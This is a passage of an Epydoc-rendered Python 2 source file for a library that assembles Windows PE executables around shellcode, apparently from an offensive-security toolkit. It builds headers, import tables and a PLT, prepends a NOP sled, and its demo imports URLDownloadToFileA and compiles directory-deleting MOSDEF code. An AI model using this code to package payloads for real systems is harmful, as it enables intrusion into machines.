1047 shellcode = "\x90" * ( plt_len * functions_num) + shellcode
1048
1049 # So, by now we have important in the fancy format [ ('dll name', ['functions'] ) ]
1050 # And also, func_by_addr = {dllname!function]: function_plt }, and also functions_num has the size of functions
1051
1052
1053
1054 idx= 0
1055 # MZ
1056 mz = MZ()
1057 mz.e_lfanew = mz.getSize()
1058
1059 idx+= mz.getSize()
1060
1061 # PE Image Header
1062 imgHdr = IMGhdr()
1063 imgHdr.Machine = 0x014c # i386
1064 imgHdr.NumberOfSections = 0x2 # Code and data for now (Maybe we can do it only one)
1065 imgHdr.Characteristics = 0x0102 # Executable on 32-bit machine
1066
1067 idx += imgHdr.getSize() + 4 # for PE_MAGIC
1068
1069 # Optional Header
1070 imgOpt = IMGOPThdr()
1071 imgOpt.SectionAlignment = 0x20 # Thats our aligment
1072 imgOpt.FileAlignment = 0x20
1073 imgOpt.MajorOperatingSystemVersion = 0x4 # NT4.0
1074 imgOpt.MajorSubsystemVersion = 0x4 # Win32 4.0
1075 imgOpt.Subsystem = 0x3
1076 imgOpt.SizeOfStackReserve = 0x100000
1077 imgOpt.SizeOfStackCommit = 0x1000
1078 imgOpt.SizeOfHeapReserve = 0x100000
1079 imgOpt.SizeOfHeapCommit = 0x1000
1080 imgOpt.NumberOfRvaAndSizes= 0x10
1081
1082 idx += imgOpt.getSize()
1083
1084 # Directories
1085 directories=[]
1086 for a in range(0, imgOpt.NumberOfRvaAndSizes):
1087 directories.append(Directory())
1088
1089 idx+= directories[0].getSize() * 16
1090
1091 # .code section
1092 code = Section()
1093 code.Name = ".text"
1094 code.Characteristics = 0x60000020L # Code | Executable | Readable
1095 idx+= code.getSize()
1096
1097 # .data section
1098 data = Section()
1099 data.Name = ".data"
1100 data.Characteristics = 0xc0000040L # Initialized | Readable | Writeable
1101
1102 idx += data.getSize()
1103
1104 code_offset = self.align(idx, imgOpt.FileAlignment)
1105 firstpad= "\0" * (code_offset - idx)
1106 idx=code_offset
1107
1108 # we can fill data_buf with our data and that will be loaded into mem :>
1109 idx+= len(shellcode)
1110 data_offset = self.align(idx, imgOpt.FileAlignment)
1111 secondpad= "\0" * (data_offset - idx)
1112 idx = data_offset
1113 data_buf =""
1114 idx+= len(data_buf)
1115
1116 # Creating the list of ImportDescriptors
1117 import_offset =idx
1118 imports=[]
1119 ndx= 0
1120 import_str=""
1121
1122 for a in importante:
1123 i= ImportDescriptor()
1124 i.ForwarderChain= 0xFFFFFFFFL
1125 imports.append( (i, ndx))
1126
1127 ndx+=len(a[0]+"\0") # We put on NDX, an index of the name string, so at the end
1128 # to find a string, we will do import_str_offset + this_index
1129
1130 import_str += a[0] + "\0" # Collecting dll names
1131
1132 # The final importdescriptor
1133 imports.append((ImportDescriptor(), 0))
1134 idx+= i.getSize() * len(imports)
1135
1136 import_str_offset = idx
1137 idx+= len(import_str)
1138
1139 off = self.align(idx, imgOpt.FileAlignment)
1140 import_str+="\0" * (off-idx)
1141 idx = off
1142
1143 # Original Thunks
1144 original_thunks_offset = idx
1145 original_thunk=[]
1146
1147 for a in importante:
1148 original_thunk.append(idx)
1149
1150 idx+= len(a[1]) * 4 + 4
1151
1152 # First thunk offset
1153 first_thunks_offset = idx
1154 first_thunk=[]
1155 plt_ndx = 0x1A0
1156 for a in importante:
1157 first_thunk.append(idx)
1158 for b in a[1]:
1159 dupla = "%s|%s" % (a[0], b)
1160
1161 if not func_by_addr.has_key(dupla):
1162 raise PEError, "Error on Thunk"
1163 func_by_addr[ func_by_addr[dupla] ] = "jmp *(0x%08x)\n" % (idx+ image_base)
1164 idx+=4
1165 idx+= 4
1166 # crafting a PLT
1167 PLT=""
1168 for a in range(plt_entry, plt_entry+ plt_len* functions_num, plt_len):
1169 if not func_by_addr.has_key(a):
1170 raise PEError, "func_by_addr doesn't have a PLT address (%x)" % a
1171 PLT+= mosdef.assemble(func_by_addr[a], "X86")
1172 shellcode = PLT + shellcode[plt_len* functions_num:]
1173 print "Shellcode size (with PLT): %d" % len(shellcode)
1174
1175
1176 # Creating IIBN
1177 IIBN=[]
1178 for a in importante:
1179 tbl=[]
1180 IIBN.append(tbl)
1181 for b in a[1]:
1182 iibn = ImageImportByName()
1183 iibn.Name = b #"RevertToSelf"
1184 iibn.Hint = 1
1185 tbl.append((iibn, idx))
1186 idx+=iibn.getSize()
1187
1188 endpad= "\0" * (self.align(idx, imgOpt.FileAlignment) - idx)
1189
1190 # Filling the gaps
1191 imgOpt.SizeOfCode = len(shellcode) + len(secondpad)
1192 imgOpt.BaseOfCode = code_offset
1193 # Entry point = code_offset + PLT_entry size
1194 imgOpt.AddressOfEntryPoint = code_offset + plt_len * functions_num
1195
1196 imgOpt.BaseOfData = data_offset
1197 imgOpt.ImageBase = image_base
1198 imgOpt.SizeOfInitializedData = 0x20
1199 imgOpt.SizeOfImage = 0xC #
1200
1201 imgOpt.SizeOfHeaders = code_offset
1202 imgOpt.NumberOfRvaAndSizes = 0x10
1203
1204 # Import Directory
1205
1206 directories[1].VirtualSize=directories[1].Size = idx - import_offset
1207 directories[1].VirtualAddress= import_offset
1208
1209 # code and data
1210 code.VirtualAddress = code_offset
1211 code.VirtualSize= code.SizeOfRawData = imgOpt.SizeOfCode
1212 code.PointerToRawData = code_offset
1213
1214 data.VirtualAddress = data_offset
1215 data.VirtualSize = data.SizeOfRawData = idx - data_offset #len(data_buf)
1216 data.PointerToRawData = data_offset
1217
1218 imgOpt.SizeOfImage = idx #
1219
1220 # Fixing imports with thunk info
1221 for a in range(0, len(imports)-1):
1222 imports[a][0].OriginalFirstThunk= original_thunk[a]
1223 imports[a][0].FirstThunk= first_thunk[a]
1224 imports[a][0].Name = import_str_offset + imports[a][1]
1225
1226
1227 # RAWing...
1228 buf = mz.raw() + struct.pack("L", PE_MAGIC) +imgHdr.raw() + imgOpt.raw()
1229 for a in directories:
1230 buf+= a.raw()
1231 buf+= code.raw()
1232 buf+= data.raw()
1233 buf+= firstpad
1234 buf+= shellcode
1235 buf+= secondpad
1236 buf+= data_buf
1237
1238 for a in imports:
1239 buf+= a[0].raw()
1240 buf+= import_str
1241
1242 # ORIGINAL THUNK
1243 for a in IIBN:
1244 for b in a: # Listing function
1245 buf+=struct.pack("L",b[1])
1246 buf+=struct.pack("L",0x0)
1247
1248 # FIRST THUNK
1249 for a in IIBN:
1250 for b in a: # Listing function
1251 buf+=struct.pack("L",b[1])
1252 buf+=struct.pack("L",0x0)
1253
1254 # IIBN
1255 for a in IIBN:
1256 for b in a:
1257 buf+= b[0].raw()
1258 buf+= endpad
1259
1260 # Done, dumping to a file
1261 f=open(filename, "wb")
1262 f.write(buf)
1263 f.close()
1264 return len(buf)
1265
1272
1273 if __name__ == "__main__":
1274 import getopt, sys
1275 args= sys.argv[1:]
1276 OPEN = 0x1
1277 WRITE = 0x2
1278 EXAMPLE = 0x3
1279 p=PElib()
1280
1281 what=0
1282 file=""
1283 try:
1284 opts, args = getopt.getopt(args, "f:OWE")
1285 except:
1286 print "Error in Arguments"
1287 usage(sys.argv[0])
1288 for o,a in opts:
1289 if o == '-f':
1290 file=a
1291 if o == '-O':
1292 what =OPEN
1293 if o == '-W':
1294 what = WRITE
1295 if o == '-E':
1296 what = EXAMPLE
1297 if file:
1298 if what == OPEN:
1299 p.openfile(file)
1300 elif what == WRITE:
1301 shellcode=p.createShellcode()
1302 imports = [ ("advapi32.dll", ["RevertToSelf", "AccessCheck"]), ("urlmon.dll", ["URLDownloadToFileA", "FindMediaType" ]) ]
1303
1304 p.createPE(file, shellcode, imports)
1305
1306 elif what == EXAMPLE:
1307 vars={}
1308 vars["filename"]="boo"
1309
1310 code="""
1311 //start of code
1312 #import "remote", "kernel32.dll|GetProcAddress" as "getprocaddress"
1313 #import "remote", "kernel32.dll|RemoveDirectoryA" as "RemoveDirectory"
1314 #import "remote", "kernel32.dll|ExitProcess" as "exit"
1315 #import "string", "filename" as "filename"
1316
1317 void main()
1318 {
1319 int i;
1320 i = RemoveDirectory(filename);
1321 i = exit(0);
1322 }
1323 """
1324
1325
1326 p.createMOSDEFPE(file, code, vars)
1327
1328 else:
1329 usage(sys.argv[0])
1330 else:
1331
1332 usage(sys.argv[0])
1333
1334
1335 #self._openPE()
1336
| Trees | Indices | Help |
|
|---|
| Generated by Epydoc 3.0.1 on Thu Mar 17 18:43:05 2011 | http://epydoc.sourceforge.net |